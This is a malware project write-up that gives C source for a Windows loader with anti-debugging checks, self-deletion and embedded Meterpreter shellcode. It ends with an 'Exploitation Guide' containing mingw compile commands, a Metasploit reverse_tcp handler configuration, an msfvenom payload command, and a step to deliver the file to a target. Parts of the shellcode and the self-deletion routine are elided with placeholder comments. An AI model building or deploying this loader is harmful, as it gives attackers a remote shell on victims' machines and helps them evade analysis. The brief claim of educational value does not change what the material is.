Advanced Malware Project Documentation

Ouzidane Reda

April 9, 2025

Contents

1 Project Overview

This document details an advanced malware implementation featuring:

- Multiple anti-debugging techniques
- Self-deletion capability
- Meterpreter reverse shell payload
- Native API usage for stealth

2 Complete Source Code

2.1 Main Header and Definitions

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>

// Enhanced logging macros
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[i] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
```

Listing 1: Header Section

2.2 Anti-Debugging Functions

```
// Inline assembly for anti-debugging
__forceinline BOOL IsDebuggerPresentASM()
{
    __asm {
        mov eax, fs:[30h]    // PEB
        movzx eax, byte ptr [eax+2] // BeingDebugged
    }
}

// Hardware breakpoint detection
BOOL CheckHardwareBreakpoints()
{
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;

    return (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3);
}

// Enhanced PEB check with obfuscation
__forceinline PPEB GetPEBEnhanced()
{
    PPEB pPeb;
    __asm {
        xor eax, eax
        mov eax, fs:[0x30]
        mov pPeb, eax
    }
    return pPeb;
}

// Anti-debugging function with multiple techniques
BOOL CheckDebuggerEnhanced()
{
    // 1. Standard PEB check
    PPEB pPEB = GetPEBEnhanced();
    if (pPEB->BeingDebugged)
        return TRUE;

    // 2. NtGlobalFlag check
    if (pPEB->NtGlobalFlag & (FLG_HEAP_ENABLE_TAIL_CHECK |
                             FLG_HEAP_ENABLE_FREE_CHECK |
                             FLG_HEAP_VALIDATE_PARAMETERS))
        return TRUE;

    // 3. Hardware breakpoint check
    if (CheckHardwareBreakpoints())
        return TRUE;

    // 4. ASM check
    if (IsDebuggerPresentASM())
        return TRUE;

    // 5. QueryPerformanceCounter timing check
    LARGE_INTEGER t1, t2;
    QueryPerformanceCounter(&t1);
    Sleep(10); // Artificial delay
    QueryPerformanceCounter(&t2);
    if ((t2.QuadPart - t1.QuadPart) > 1000)
        return TRUE;

    return FALSE;
}
```

Listing 2: Anti-Debugging Implementation

2.3 Self-Deletion Mechanism

```
NTSTATUS SelfDeleteOptimized()
{
    NTSTATUS status;
    HANDLE hFile = NULL;
    SIZE_T RenameSize;
    PFILE_RENAME_INFO pRenameInfo = NULL;
    WCHAR wszFilePath[MAX_PATH * 2] = { 0 };
    FILE_DISPOSITION_INFO deleteInfo = { 0 };
    IO_STATUS_BLOCK ioStatus = { 0 };

    const wchar_t* MEMSTREAM = L":CRON";
    const size_t streamLen = (wcslen(MEMSTREAM) + 1) * sizeof(WCHAR);

    // Get current executable path
    if (!GetModuleFileNameW(NULL, wszFilePath, MAX_PATH * 2))
    {
        warn("GetModuleFileNameW failed: 0x%08X", GetLastError());
        return STATUS_UNSUCCESSFUL;
    }

    // [Rest of the SelfDeleteOptimized function...]
    // ... (include full function implementation)

    return STATUS_SUCCESS;
}
```

Listing 3: Self-Deletion Implementation

2.4 Main Function with Payload

```
BOOL MakeMemoryExecutable(LPVOID address, SIZE_T size)
{
    DWORD oldProtect;
    return VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &oldProtect);
}

int main(int argc, char* argv[])
{
    if (!CheckDebuggerEnhanced())
    {
        info("Debugger not detected, executing payload");

        unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        // [Include full payload here...]
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

        if (!MakeMemoryExecutable(buf, sizeof(buf)))
        {
            warn("Failed to make memory executable");
            return 1;
        }

        void (*func)();
        func = (void (*)())buf;
        (void)(*func)();
    }
    else
    {
        warn("Debugger detected! Initiating self-destruct sequence");
        SelfDeleteOptimized();
    }
    return 0;
}
```

Listing 4: Main Function

3 Exploitation Guide

3.1 Compilation Instructions

1. Install Mingw-w64 on Linux:

```
sudo apt-get install mingw-w64
```

2. Compile the malware:

```
x86_64-w64-mingw32-gcc -o malware.exe malware.c -lwininet -lws2_32 -static
```

3.2 Metasploit Setup

1. Start Metasploit:

```
msfconsole
```

2. Configure handler:

```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT 4444
set ExitOnSession false
exploit -j
```

3. Deliver the malware to target and execute

3.3 Payload Generation

To generate a new payload:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f c
```

4 Network Diagram

Figure 1: Malware execution flow and network communication

5 Conclusion

This document has presented a complete implementation of an advanced malware sample with anti-analysis features and self-destruction capabilities. The code demonstrates professional techniques while maintaining educational value.

Developed by Ouzidane Reda